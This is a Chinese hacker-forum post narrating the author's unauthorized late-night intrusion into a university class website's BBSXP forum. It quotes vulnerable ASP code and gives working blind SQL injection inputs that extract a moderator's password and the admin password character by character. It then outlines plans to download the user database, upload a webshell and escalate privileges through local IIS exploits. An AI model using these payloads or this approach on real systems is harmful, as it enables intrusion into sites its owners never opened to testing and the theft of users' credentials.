作者:冰血封情 来源:http://www.eviloctal.com/forum/
寒假在家上网,闲来无事,浏览起了我们专业02级的年级主页。看看时间已经是凌晨2:19分了,给02级的年级主页做个小的安全检测吧,前段时间我粗略查看过一下,文章系统好象是存在Injection问题的,练习练习也不错么。 …… 遗憾,管理员修补了文章系统的漏洞,那么我们从论坛下手吧。这个是BBSXP的论坛,记得是有漏洞的。粗略查看了一下,是BBSXP-Access版,脑袋里马上反映出BBSXP的friend.asp文件漏洞导致注入的问题。于是注册了一个用户杀进论坛,直奔好友管理页。HO~问题果然存在。 下面我们来看看对此漏洞的分析,先看看有问题的代码吧: …… sub add if Request("username")="" then error2("请输入您要添加的好友名字!") end if …… if Request("username")=Request.Cookies("username") then error2("不能添加自己!") end if …… sql="select friend from user where username="&Request("username")&"" ************* rs.Open sql,Conn,1 if rs.eof then error2("数据库不存在此用户的资料!") end if rs.close …… sql="select friend from user where username="&Request.Cookies("username")&"" rs.Open sql,Conn,1,3 if instr(rs("friend"),"|"&Request("username")&"|")>0 then error2("此好友已经添加!") end if rs("friend")=""&rs("friend")&""&Request("username")&"|" rs.update rs.close index end sub ……
先放着上面的问题我们不说,我们先来阅读一下中国台湾恒逸资讯教育训练处系统开发部的资深讲师胡百敬老师写的文章《SQL Injection》,文中有这么一处对Injection的引导性详细介绍。 最初由胡百敬老师所说 strSQL="SELECT * FROM tblUser WHERE UserName=" & _ Request("UserName") & " AND Password=" & _ Request("Pass") & "" 直接交給 SQL Server 執行,這是最危險的地方 Set rec=cnn.Execute(strSQL) If NOT rec.EOF Then …
看明白了么?那么同样一个道理,虽然是Access上的问题,但是却是换汤不换药。 现在再来看看我刚才发的那个BBSXP中有问题的代码,程序没有对username这个变量进行任何处理就直接提交了。那么一般的说,我们输入一个论坛的注册用户,那么系统会执行命令将这个用户加成我们的好友。可是由于没过滤变量,那么我们就可以通过这一功能来得到某注册用户的密码! (时间2:45,晕了晕了~~~~~~~~) 那么现在我们就开始吧,来添加社区区长target(请允许这里屏蔽区长的用户名)的用户前台密码,最艰苦的时间到了。来到好友添加的地方点“添加好友”,跳出提示框。 输入 target and len(userpass)=5 and 1 确定后提示添加好友成功。看来密码是5位了。(哪有那么巧啊?当然是从1试到5啦,如果愿意可以用大于小于确定范围,更快。) 那么下一步就来试密码,最辛苦的时候到来了,请大加准备好一张ASCII码表,因为我们是用ASCII码来探测密码的。 现在我们猜想,一般的用户设置密码都喜欢用数字和字母,那么我们猜的时候为了避免工作量,就先从数字开始猜!字母数字都不行再来猜其他的。 那么我猜target用户的第一位密码是0,0的ASCII码是48,先输入 target and asc(mid(userpass,1,1))=48 and 1 确定,提示添加好友成功。看来第一位密码是0!依此下去我猜到了target用户的密码是02target。 这下有了前台密码。先用这个密码登录论坛,我选择了隐身登录(被人发现就不好了),登录后发现上方出现了管理入口,我点了一下,出现管理项目,但是要先输入密码登录!我注意到了登录后台没问用户名,这就告诉我,后台和前台用户名是一样的。那密码会不会设置一样呢,很多人都把N多密码设置同样的密码,所以决定尝试一下?结果——失败!晕……那不是还要猜后台密码? 没办法,来分析一下setup.asp文件吧。 后台的管理的密码为adminpassword,它是在setup.asp中定义的,这些你都要去现成的资料里查找!代码如下: Set Conn=Server.CreateObject("ADODB.Connection") Connstr="DBQ="&server.mappath(datafile)&";DRIVER={Microsoft Access Driver (*.mdb)};" Conn.Open Connstr Set rs = Server.CreateObject("ADODB.Recordset") sql="select * from clubconfig" rs.Open sql,Conn,1 clubname=rs("clubname") cluburl=rs("cluburl") associatortol=rs("associatortol") newassociator=rs("newassociator") administrators=rs("administrators") adminpassword=rs("adminpassword") **************** homeurl=rs("homeurl") homename=rs("homename") affichetitle=rs("affichetitle") affichecontent=rs("affichecontent") affichetime=rs("affichetime") afficheman=rs("afficheman") badwords=rs("badwords") allclass=rs("allclass") selectmail=rs("selectmail") smtp=rs("smtp") smtpmail=rs("smtpmail") rs.close
clubconfig表中的adminpassword字段和friend.asp用的表不一样,所以这里要用到跨表子查询。但是setup.asp是不存在问题的,所以还要用friend.asp做入口。 于是根据密码心理学,我首先猜测他的密码也是5位! 输入 target and exists (select administrators from clubconfig where len(adminpassword)=5) and 1 YES!竟然对了? 晕晕晕…… (看了一下表3:12了,抓紧时间干哪!) 现在来猜后台密码的第一位,输入 target and exists (select administrators from clubconfig where asc(mid(adminpassword,1,1))=48) and 1 HO~又对了,此时我的好友栏已经N个同名的好友了……用上面的方法猜到后台密码的ASCII码值是48、50、98、98、115,那就是02bbs。 现在来登录看看,天~我终于进去了后台,但是觉得BBSXP的后台好破烂啊。 兴探之际,眼睛一亮发现了一个重大的问题!!! 这也是本文重点所在,就是想告诉大家,以后注册YUZI论坛要小心了! 原来BBSXP的论坛超级管理员是可以明文查看用户的密码的:o,那如果管理员有点歪心……很多人的密码N多个地方的密码可是都是用相同的啊。反正国外制造的Invision Power Board论坛管理员是根本不能明文查看用户的论坛密码的,最多只能修改!真搞不懂YUZI工作室的人是怎么想的。要是谁用这个借口和他们打官司,狠狠的讹上他们一笔,嘿嘿……不敢想了。 很多人想也许入侵到这里就告一段落了吧? 没有呢,继续渗透啊,不是可以明文查看密码了么?好了,现在我们查看所有人的密码,然后再用这些人的密码登录查看他们的密码保护的问题和答案(明白危害了吧)! 你要我一个一个查?门儿都没有! 不可以登录后台么?后台的系统配置属性里我查看到了数据库的地址…… 现在我把数据库下载回来,剩下的不就完成了?想看谁密码有谁密码! 然后再修改上传文件的扩展名传一个webshell再向主机渗透,有了主机的guest权限,想办法提升权限还不容易啊?!从后台看见主机是IIS5,本地溢出那么多,随便一个就搞定了…… 不过那都是计划了。今天先告一段落吧。 3:33!困了……睡觉咯~~~~~~~~~~~~~~~~~~~~~
|